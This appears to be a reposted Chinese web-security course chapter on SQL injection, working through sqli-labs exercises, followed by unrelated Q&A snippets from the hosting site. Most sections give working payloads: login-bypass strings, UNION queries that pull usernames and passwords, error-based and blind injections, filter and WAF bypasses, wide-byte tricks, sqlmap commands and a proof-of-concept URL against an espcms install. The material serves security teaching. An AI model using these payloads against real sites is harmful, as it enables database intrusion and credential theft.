第二章-注入漏洞

2023-11-17

第二章-注入漏洞

第一节 SQL注入原理

1.1 SQL注入的原因

​ 语言分类:解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令,然后在运行时直接由使用该语言的计算机执行这些指令。

​ 在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。

​ 例如:在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。

1.2 登录案例讲解

​ 登录SQL语句:select * from admin where username = '用户输入的用户名' and password = '用户输入的密码'

​ 用户输入的内容可由用户自行控制,例如可以输入 ' or 1=1 --空格

​ SQL语句:select * from admin where username = ' ' or 1=1 -- ' and password = '用户输入的密码'
其中or 1=1 永远为真, --注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。

​ Burpsuite万能密码测试案例演示

1.3 CMS SQL注入讲解

​ CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id文章。

SQL注入验证:

1、单引号 '
2、 and 1=1
3、 and 1=2

如果页面中Mysql报错,证明该页面存在SQL注入漏洞。

1.4 Sqlmap基本使用

​ Sqlmap是检测和利用SQL注入漏洞的一款强大工具。

第二节 Mysql注入有关知识点

2.1 Mysql 5.x数据结构

​ 在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。

​ 在schemata表中,schema_name字段用来存储数据库名。

​ 在tables表中,table_schema和table_name分别用来存储数据库名和表名。

​ 在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)

​ 利用Navicat for MySQL查看结构

2.2 SQL增删改查

​ SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2'

​ INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

​ UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值

​ DELETE FROM 表名称 WHERE 列名称 = 值

​ 以管理员表为例演示SQL语句。

2.3 Mysql常用函数

Mysql中常用的聚合函数有以下:

​ user():查看当前Mysql登录用户名
​ database():查看当前使用Mysql数据库名
​ version():查看当前Mysql版本

拓展limit关键字 limit m,n 从m行开始,到m+n行。

2.4 注释

​ 注释符:在Mysql 中常见的注释符表达式:#或--空格或/**/

​ 内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF

​ 例如:select * from articles where id = id
​ 使用内联注释注入:select * from articles where id = -1 /!union/ /!select/ 1,2,3,4

第三节 Sqli-Lab环境搭建

3.1 PhpStudy环境安装

​ phpStudy是一个PHP调试环境的程序集成包。

​ 该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境·该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等·总之学习PHP只需一个包。

下载地址:http://phpstudy.php.cn/phpstudy/PhpStudy20180211.zip?v7

3.2 火狐浏览器插件安装

​ Mozilla Firefox,中文俗称“火狐”(正式缩写为Fx或fx,非正式缩写为MF),是一个自由及开放源代码的网页浏览器,使用Gecko排版引擎,支持多种操作系统,如Windows、Mac OS X及GNU/Linux等。

安全方面的插件:hackbar、Firebug、Live http headers、Tamper Data

3.3 Sqlmap安装

​ sqlmap是一款强大的SQL注入漏洞检测和利用工具。官方网站:http://www.sqlmap.org/

3.4 Sqli-Lab安装

​ Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。

​ 打开sql-connections/db-creds.inc,修改默认数据库连接密码。

第四节 GET基于报错的SQL注入

4.1 SQL注入的分类

​ 根据注入位置数据类型可将SQL注入分为两类:数字型和字符型。

​ 例如:
​ 数字型:select * from table where id = 用户输入id

​ 例如:
​ 字符型:select * from table where id = '用户输入id'

4.2 GET基于报错的SQL注入发现

​ 通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \来探测URL中是否存在注入点。

实验:Sqli-Lab Less1~4,GET基于报错的SQL注入。

4.3 GET基于报错的SQL注入利用

​ 1、利用order by 判断字段数。

​ 2、利用union select 联合查询,获取表名。
​ 0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

​ 3、利用union select 联合查询,获取字段名。
​ 0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

​ 4、利用union select 联合查询,获取字段值。
​ 0' union select 1,group_concat(username,0x3a,password),3 from users--+

4.4 利用Sqlmap测试

利用Sqlmap进行SQL注入漏洞利用

第五节 不再显示结果的盲注

5.1 盲注介绍

​ Blind SQL (盲注) 是注入攻击的其中一种, 向数据库发送 true 或 false 这样的问题, 并根据应用程序返回的信息判断结果. 这种攻击的出现是因为应用程序配置为只显示常规错误, 但并没有解决SQL 注入存在的代码问题.

​ 演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时, 有时候web应用程序会显示, 后端数据库执行SQL查询返回的错误信息. Blind SQL (盲注)与常规注入很接近, 不同的是数据库返回数据的检索方式. 若数据库没有输出数据到web页面, 攻击者会询问一些列的 true 或 false 问题, 强制从数据库获取数据

​ 盲注常分为: 基于布尔型的盲注 和 基于时间的盲注.

5.2 GET基于时间的盲注

if(ascii(substr(database(),1,1)=115,1,sleep(3))) : 当数据库名第一个字母的ascii码等于115时,执行一次sleep(3)函数等待3秒。

实验:Sqli-Lab Less9~10,GET基于时间的盲注。

5.3 GET基于Boolean的盲注

​ 基于布尔型的盲注,我们通常采用下面的办法猜解字符串.
​ select length(databse());
​ select substr(databse(),1,1);
​ select ascii(substr(database(),1,1));
​ select ascii(substr(database(),1,1)) > N;
​ select ascii(substr(database(),1,1)) = N;
​ select ascii(substr(database(),1,1)) < N;

​ Sqli-Lab 8实验演示

5.4 Sqlmap安全测试

第六节 GET报错注入

6.1 报错注入介绍

​ 报错注入形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
​ rand()随机函数,返回0~1之间的某个值
​ floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
​ count()聚合函数也称作计数函数,返回查询对象的总数
​ group by clause分组语句,按照查询结果分组
​ 通过报错来显示出具体的信息。

​ 查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011

select count(*) from table group by floor(rand(0)*2);

6.2 GET单引号报错注入

以Sqli-Lab Less 5为例

获取数据库
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取用户信息
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

6.3 GET双引号报错注入

获取数据库
http://localhost/sqli-lab/Less-6/index.php?id= 0" union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+

6.4 Sqlmap安全测试

第七节 POST基于错误注入

7.1 Burpsuite抓取HTTP请求

​ Burpsuite是一款Web安全测试的利器,集成了几乎Web安全测试中所有需要用到的功能。

​ 运行前提:1、需要安装Java https://www.java.com/zh_CN/

​ 截断代理设置:在浏览器中设置局域网代理。

​ 启动Burpsuite进行截断抓取HTTP消息。

7.2 POST 基于错误单引号注入

注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。当然可以借助对应的插件可以完成修改任务。以Sqli-Lab Less11 为例。

7.3 POST 基于错误双引号注入

查看Sqli-Lab Less 12源代码

7.4 Sqlmap安全测试

复制Burpsuite截断的HTTP请求数据包到文本文件中,使用Sqlmap -r 文件路径 -p 指定探测参数。

第八节 SQL注入绕过技术

8.1 大小写绕过

​ 如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and 过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。

​ 通过修改关键字内字母大小写来绕过过滤措施。例如:AnD 1=1

​ 例如:在进行探测当前表的字段数时,使用order by 数字进行探测。如果过滤了order ,可以使用OrdER来进行绕过。

8.2 双写绕过

​ 如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了以此替换。就是将关键字替换为对应的空。

​ 例如:过滤了union 只要发现union无论时大小写都会被替换为空。

​ UnunionIon 结合之前大小写绕过。

8.3 编码绕过

​ 可以利用网络中的URL在线编码,绕过SQL注入的过滤机制。
http://tool.chinaz.com/Tools/urlencode.aspx

8.4 内联注释绕过

​ 在Mysql中内容注释中的内容可以被当作SQL语句执行。

第九节 POST基于时间和布尔的盲注

9.1 HTTP POST介绍

​ POST 发送数据给服务器处理,数据包含在HTTP信息正文中
​ POST请求会向指定资源提交数据,请求服务器进行处理,如:表单数据提交、文件上传等,请求数据会被包含在请求体中。
​ POST方法可能会创建新的资源或/和修改现有资源。
​ 使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器:
​ POST /test/demoform.html HTTP/1.1
​ Host: w3schools.com
​ name1=value1&name2=value2

9.2 POST基于时间的盲注

​ 在存在注入点POST提交的参数后加 and if (length(database())>5,sleep(5),null)。
​ 如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行。

9.3 POST基于布尔的盲注

​ 在存在注入点POST提交的参数后加入if判断正确或错误的语句。

​ select length(databse());
​ select substr(databse(),1,1);
​ select ascii(substr(database(),1,1));
​ select ascii(substr(database(),1,1)) > N;
​ select ascii(substr(database(),1,1)) = N;
​ select ascii(substr(database(),1,1)) < N;

9.4 Sqlmap安全测试

在Sqlmap中指点探测技术使用--technique T(time) B(boolean)。

第十节 HTTP头中的SQL注入

10.1 HTTP头中的注入介绍

​ 在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。

​ 过滤掉用户直接提交的参数,但是对于HTTP头中
​ 提交的内容很有可能就没有进行过滤。
​ 例如HTTP头中 User-Agent、Referer、Cookies等。

10.2 HTTP User-Agent注入

Sqli-Less 18 User-Agent注入

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
Payload内容:
updatexml(xml_document,xpath_string,new_value):
第一个参数:XML文档对象名称。
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or  '1'='1

10.3 HTTP Referer注入

Sqli-Lab19

' or '1'='1
' or (length(database())) >8 or if(1=1, sleep(5), null) or '1' = '1

10.4 Sqlmap安全测试

指定参数探测SQL注入:sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"

第十一节 POST update语句注入

11.1 Mysql update介绍

​ update 语句可用来修改表中的数据, 简单来说基本的使用形式为:
​ update 表名称 set 列名称=新值 where 更新条件;
​ UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause]

11.2 过滤内容介绍

11.3 Mysql update注入

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,version(),0x7e),1) #&submit=Submit

11.4 Sqlmap安全测试

​ 利用sqlmap读取target.txt中的内容并指定passwd参数进行SQL注入漏洞的利用。
​ sqlmap -r target.txt -p passwd

第十二节 Cookie注入

12.1 Cookie介绍

​ 服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。

​ Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写Cookies,以便在最后付款时提取信息。

12.2 Cookie注入代码分析

​ 代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。

12.3 Cookie注入利用

​ 利用 ' or 1=1 --+ 输出第一个用户名和密码。

12.4 Sqlmap安全检测

sqlmap -r target.txt --level 3

13.1 Base64介绍

​ Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。

​ 将原始内容转换为二进制,从左到右依次取6位,然后在最高位补两位0,形成新的内容。

​ 编码规则:
​ ①.把3个字符变成4个字符。
​ ②.每76个字符加一个换行符。
​ ③.最后的结束符也要处理。

​ base64_decode(str) : PHP语言中用于解密Base64加密字符串的函数。

使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。

IiBvciAxPTEgIw==
明文 " or 1=1 #

13.4 Sqlmap安全检测

sqlmap -r target.txt --level 3

第十四节 绕过去除注释符的SQL注入

14.1 Mysql中的注释符

注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。

Mysql中的注释符:

1、单行注释: --+ 或 --空格 或 #

2、多行注释: /* 多行注释内容 */

对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。

14.2 去除注释符的代码分析

preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

14.3 绕过去除注释符的SQL注入

利用注释符别过滤不能成功闭合单引号等,换一种思路 利用 or '1'='1闭合单引号等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273

14.4 Sqlmap安全检测

​ sqlmap -u “URL” --batch

第十五节 绕过剔除and和or的SQL注入

15.1 基础知识介绍

Mysql基础知识介绍

​ 1、Mysql中的大小写不敏感,大写与小写一样。

​ 2、Mysql 中的十六进制与URL编码。

​ 3、符号和关键字替换 and -- &&、or -- ||。

​ 4、内联注释与多行注释 /! 内联注释/ /多行注释/。

  1. 、基础知识介绍

15.2 去除and和or的代码分析

preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

15.3 绕过去除and和or的SQL注入

Sqli-Lab 25 绕过策略
1、大小写变形,Or,OR,oR,OR,And,ANd,aND等 --代码中大小写不敏感 都被剔除
2、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
3、利用符号替代————and --&& or--||

15.4 Sqlmap安全检测

sqlmap -u “URL” --dbs --batch

第十六节 绕过剔除空格的SQL注入

16.1 基础知识介绍

Mysql基础知识介绍

5、Mysql中会自动识别URL与Hex编码好的内容。

16.2 去除空格的代码分析

16.3 绕过去除空格的SQL注入

Sqli-Lab 26 绕过策略
编码:hex,urlencode 换行URL编码 %0a %09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)

16.4 Sqlmap安全检测

sqlmap -u “URL” --hex --dbs --batch

第十七节 绕过剔除黑名单(union和select)的SQL注入

17.1 基础知识介绍

1、Mysql中的大小写不敏感,大写与小写一样。用于绕过过滤黑名单。

2、Mysql 中的十六进制与URL编码。

3、符号和关键字替换 and -- &&、or -- ||。

4、空格使用 %20表示、%0a换行 %09 tab

17.2 去除(union)的代码分析

17.3 绕过去除(union)的SQL注入

Sqli-Lab 27 绕过策略 
%09表示空格、 ||表示 or 、union/select 大小写、双写绕过。 
http://127.0.0.1/sqli/Less-27/?id=10000000%27%09%09uniOn%09SelEcT%091,2,3%09||%09%271

17.4 Sqlmap安全检测

sqlmap -u “URL” --dbs --batch

第十八节 宽字节SQL注入

18.1 宽字节注入基础

​ GBK 占用两字节
​ ASCII占用一字节
​ PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
​ %DF’ :会被PHP当中的addslashes函数转义为“%DF'” ,“\”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”

18.2 宽字节注入代码分析

Sqli-Less33 代码分析

18.3 宽字节SQL注入演示

Sqli-Lab 33 绕过策略
id=%df' --+

18.4 Sqlmap安全检测

sqlmap -u “URL?id=1%df%27” --search --level 3 --risk 1 --thread 10

第十九节 宽字节SQL注入二

19.1 宽字节注入基础

​ 最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后在十六进制前面加%即可,即为%81
​ GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)

19.2 宽字节注入代码分析

Sqli-Less32 代码分析

mysql_real_escape_string() 和 addslashes()功能类似

19.3 宽字节SQL注入演示

Sqli-Lab 33 绕过策略

id=%bf' --+

19.4 Sqlmap安全检测

sqlmap.py -u"http://url/?id=1" --tamper=unmagicquotes.py

第二十节 二次注入分析

20.1 二次注入介绍

20.2 二次注入代码分析

20.3 二次注入利用

​ 注册用户 admin -- - ,修改密码查看数据库内容。

20.4 二次注入危害

​ 1、注入Payload触发二次SQL注入

​ 2、注入Payload触发XSS攻击。

第二十一节 SQL注入漏洞简单挖掘 - 代码审计挖掘0day

21.1 CMS环境搭建(espcms)

21.2 自动化审计工具

21.3 直接挖掘select 注入

21.4 漏洞验证POC

针对 url 测试:http://127.0.0.1/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20union%20select%201,2,user(),4,5

第二十二节 SQL注入 报错(updatexml与extractvalue函数介绍)

22.1 Sqlmap 更新参数介绍

--purge 以安全模式删除所有sqlmap数据目录。

22.2 演示数据表介绍

22.3 updatexml函数

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据

22.4 extractvalue函数

参考链接:https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html

第二十三节 IIS6.0搭建asp网站

23.1 环境准备

1、一台Windows server2003服务器,开启IIS6.0。

2、asp源码文件。

23.2 配置IIS,加载站点源码

1、新建网站,设定站点根目录在源码位置。

23.3 常见问题处理

1、端口冲突 -- 修改该网站的默认端口
2、40X 错误 -- 修改对应文件夹权限 对IUSER_计算机名的用户给与权限。
3、无法启动 ‘..’ 表示上层目录,在网站配置的主目录选项中设置允许父目录。

23.4 源码测试

使用浏览器访问网站,测试访问是否正常。

第二十四节 针对asp+access网站进行sql注入利用

24.1 asp+access网站技术介绍

​ ASP即Active Server Pages,是MicroSoft公司开发的服务器端脚本环境,可用来创建动态交互式网页并建立强大的web应用程序。当服务器收到对ASP文件的请求时,它会处理包含在用于构建发送给浏览器的HTML(Hyper Text Markup Language,超文本置标语言)网页文件中的服务器端脚本代码。除服务器端脚本代码外,ASP文件也可以包含文本、HTML(包括相关的客户端脚本)和com组件调用。

​ Microsoft Office Access是由微软发布的关系数据库管理系统。只有表的概念。

24.2 Web漏洞扫描

​ 针对Web应用程序的扫描工具有很多:AWVS、APPSCAN、OWASP ZAP等。以下利用OWASP-ZAP探测。

24.3 漏洞分析

​ 针对扫描结果中标记红色的内容进行分析。XSS SQL注入

24.4 SQL注入点利用

​ 利用Sqlmap进行测试。注意:Access 只有表的概念。

第二十五节 Access偏移注入利用

25.1 Access偏移注入原理

借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示!
运气很重要,不能保证100%成功。

25.2 Access偏移注入利用场景

解决知道Access数据库中知道表名,但是得不到字段的sql注入困境。

字段名取名复杂,字典暴力破解字段名不成功。

25.3 Access偏移注入流程

1、判断字段数 order by
2、 判断表名 使用 union select * from 表名来获取
3、 开始偏移注入 利用注入公式来注入

25.4 Access偏移注入公式实践

偏移注入的基本公式为:

​ order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案

    也就是18-11=7

       18-7*2=4
得到答案等于:4

例如:http://xxx.com/test.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)

#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
#后面的是sql,可作公式。

http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*+from+admin
22-16 = 6    22-6*2 = 10
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,a.id,b.id,*+from+(admin+as+a+inner+join+admin+as+b+on+a.id=b.id)
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

第二章-注入漏洞 的相关文章

  • ajax 会增加还是降低安全性?

    我正在创建一个网站 到目前为止它是纯 PHP 的 我在想 既然很少有人没有启用 JavaScript 我想知道为什么 也许我应该将我的网站创建为一个完全 PHP 的网站 而不使用任何 AJAX 难道是我想错了 可以肯定的是 如果我实施一些
  • 如何在 Laravel Mix 中将公共路径更改为包含下划线的路径?

    Laravel 5 4 中引入了 Mix 来编译资产并维护资产管道 Mix 默认为您的公共目录被命名public 在许多情况下 包括我的 我的公共目录被称为其他名称 就我而言 是public html 如何更改资源编译到的公共目录 我尝试过
  • 在 Laravel 中按数据透视表 create_at 排序

    在我的数据库中 我有以下表格 courses id 名称 创建时间 更新时间 students id 名称 创建时间 更新时间 课程 学生 id course id student id created at updated at 我正在尝
  • 将图像列保存到 SQL Server 2000 中的文件

    我在 SQL Server 2000 中有一个包含图像列的表 我需要将图像数据保存到文件系统上的文件中 在 SQL Server 2005 中 我可以使用 ADODB Stream 对象进行文件 I O 但这在 SQL Server 200
  • 与 SQL 中的 IN 运算符相反

    我怎么能做相反的事情 换句话说 选择所有姓氏不是 Hansen 或 Pettersen 的人 WHERE lastname NOT IN Hansen Pettersen 请参阅 IN 和 NOT IN 运算符 部分SQLite 所理解的
  • 如何将彼此“接近”的纬度/经度点分组?

    我有一个用户提交的纬度 经度点的数据库 并且正在尝试将 接近 点分组在一起 接近 是相对的 但目前看来约为 500 英尺 起初 我似乎只能按前 3 个小数位具有相同纬度 经度的行进行分组 大约是一个 300x300 的盒子 了解当您远离赤道
  • 将单独的月、日和年值转换为时间戳

    我有月份值 1 12 日期值 1 31 和年份值 2010 2011 2012 我还有一个小时值和一个分钟值 我怎样才能把这个给strtotime 它可以以某种方式将其转换为时间戳吗 当您已经知道年月和日期时 为什么将字符串转换为日期 us
  • PHP URL 验证

    我知道有无数的线程问这个问题 但我一直无法找到一个可以帮助我解决这个问题的线程 我基本上试图解析大约 10 000 000 个 URL 的列表 确保它们根据以下标准有效 然后获取根域 URL 此列表包含您能想象到的几乎所有内容 包括类似的内
  • 如何从列表创建多维数组?

    我在 MySQL 中有一个带有父 ID 的类别列表 如何从列表中创建 PHP 数组 ID Category Parent ID 1 Car NULL 2 Education NULL 3 Mathematics 2 4 Physics 2
  • WooCommerce 自定义产品类型选项不隐藏自定义产品选项卡

    我刚刚向我的 WC 管理产品页面添加了自定义产品类型选项 add filter product type options this filter product type options 99 1 public function filte
  • 唯一约束与唯一索引?

    之间有区别吗 CREATE TABLE p product no integer name text UNIQUE price numeric and CREATE TABLE p product no integer name text
  • 打印表数据mysql php

    我在尝试打印表格的一些数据时遇到问题 我是 php mysql 的新手 但我认为我的代码是正确的 这里是 h1 Lista de usu rios h1
  • 删除重复的行并需要在mysql中保留所有行中的一个[重复]

    这个问题在这里已经有答案了 我想删除基于两列的重复行 但需要保留所有行 1 行 重复行可以多于两行 例如 ID NAME PHONE 1 NIL 1234 2 NIL 1234 3 NIL 1234 4 MES 5989 我想从上面 3 行
  • nvarchar 值“3001822585”的转换溢出了 int 列

    我使用以下方法将 Excel 文件导入到 SQL Server Excel 文件将所有值作为字符串 我可以导入文件 除了Barcode SalePrice and Price2 我收到错误 nvarchar 值 3001822585 条形码
  • 通过 SOAP 的 Gmt php 或 UTC C# 等效项

    is C DateTime UtcNow和 PHPdate c 是等价的 我怀疑 因为当我肥皂时 我得到了 C
  • 如何在php中关闭夏令时

    我有这行代码将夏令时设置为 打开 将其设置为 关闭 的正确方法是什么 is daylight saving On rcmail config dst active bool date I date I 这是一个大写字母 i 当当前默认时区
  • 为什么我收到“无法进行二进制日志记录”的信息。在我的 MySQL 服务器上?

    当我今天启动 MySQL 服务器并尝试使用以下命令进行一些更改时用于 MySQL 的 Toad http www quest com toad for mysql 我收到此消息 MySQL 数据库错误 无法进行二进制日志记录 消息 交易级别
  • 在 Windows 上查看 PHP 文件夹

    我正在编写一个简单的 PHP 脚本来监视文件夹及其子文件夹的任何更改 新文件 修改 删除 然后执行操作 我将使用 Windows 上的命令行运行此脚本php f script php 我一直在寻找一种在 Windows 上观看具有 PHP
  • 由于未定义符号,PECL solr 未加载:curl_easy_getinfo

    我正在尝试加载 PECL solr 扩展 我尝试使用 pecl install solr 并下载并使用 phpize configure make 来安装它 在这两种情况下 扩展安装时都没有错误 但在 apache 重新启动后 或在命令行上
  • 准备好的语句需要 0 个参数,给定 1 个参数..,使用 php 手册示例 [重复]

    这个问题在这里已经有答案了 我直接从 php 手册示例中获取了这个 它几乎与我需要的相同 但我仍然收到此错误 有人可以告诉我我错过了什么吗 stmt link gt prepare SELECT obitBody Photo FROM tn

随机推荐

  • Arduino使用TinyML实现水果识别

    在本文中 板载手势传感器将用于收集对象识别数据 这些数据将用于创建TensorFlow Lite模型 该模型可用于识别特定对象 电路板的接近传感器功能将用于识别物体何时靠近电路板 而RGB传感器用于首先收集物体的颜色数据 然后正确识别物体
  • ios开发 上传到App Store 时出错. iTunes Store Operation Failed, An Error occurred uploading to the iTunes ...

    ios开发 上传到App Store 时出错 iTunes Store Operation Failed An Error occurred uploading to the iTunes store 的解决方法 网上找了很多 如下 当然没
  • 玩转ESP8266-01——AT指令集

    该指令集是接上一个 链接 初识AT指令 全部是根据本人在使用esp8266过程中用过的指令 可能有不全 有错误 还请理解指正 一起学习 AT指令集 一 基础指令 1 测试指令 2 复位指令 重启 二 设置指令 1 设置波特率 2 设置工作模
  • 程序员如何做副业可以实现财富自由?

    这几年呢 我做包括自媒体在内的各种副业 也挣了一些钱 更有想象不到的一些收获 最近呢 也有一些朋友问我说晚风怎么样做一些副业 那今天呢 我就给大家分享五点 我认为做副业必须要考虑的问题 1 副业和主业尽量相关 那第一点呢 就是如果你决定做副
  • C++的指针与引用可能并不难,只是你没理解

    目录 复合类型 引用 引用即别名 引用的定义 引用的两种例外情况 指针 获取对象的地址 指针值 利用指针访问对象 某些符号有多重含义 空指针 建议 初始化所有指针 赋值和指针 其他指针操作 void 指针 理解复合类型的声明 定义多个变量
  • 统计学中的方差分析

    文章目录 1 0 方差分析 1 1方差分析概念 1 2 单因素方差分析 1 2 1 单因素方差分析 1 2 2 方差分析基本数语 1 2 3 造成误差的原因 1 3 方差分析的3个假定 1 4 方差分析的步骤 2 0 总结 1 0 方差分析
  • vue3项目打包后整合到springboot项目中运行

    概述 一般来说 前后端分离项目 比如vue3 springboot的前后端分离项目 一般把vue3项目打包后部署到nginx或者tomcat上面 springboot项目单独打包 那如果想把vue3项目打包后直接部署到springboot项
  • 对矩阵的处理 MATLAB

    矩阵 1 创建矩阵 1 直接输入法s 1 1 2 2 3 3 4 4 结果如图 2 利用某些函数zeros或ones创建 3 复数矩阵 直接按照直接输入法来建立矩阵 但是元素可以直接打成复数的形式 a bj 2 还有就是分别建立一个实部还有
  • Android mob(sharesdk)微信分享/微信朋友圈分享/QQ分享/QQ空间分享/新浪微博分享(自定义)

    使用场景 H5混合开发转Android 原生开发 之前也是用的友盟分享 微信原生 QQ原生 微博原生分享 今天这个项目恰好是用的mob的sharesdk分享 老实说 还是第一次使用 一开始接手项目的时候 还以为mob是个后台 来一张效果图
  • pandorabox php7,新路由3newifi D2专用潘多拉PandoraBox固件SFE快速转发超强信号不掉速eeprom...

    今天就分享一个这次给新路由3 newifi3 PandoraBox 潘多拉固件下载刷的第三方固件潘多拉PandoraBox固件 PandoraBox是什么 PandoraBox 是基于LEDE OpenWrt框架高度定制的中文本地化固件 应
  • HTML语言中vw的用法,CSS中如何使用视窗单位

    视窗 Viewport 单位已经有了好几年了 但我们并没有看到它被经常使用 它们现在正在被所有的主流浏览器所支持并提供独特的功能使它在特定情况下非常有用 特别是那些涉及响应式的设计 介绍视窗 Viewport 单位 视窗 Viewport
  • arouter 自定生成autowired

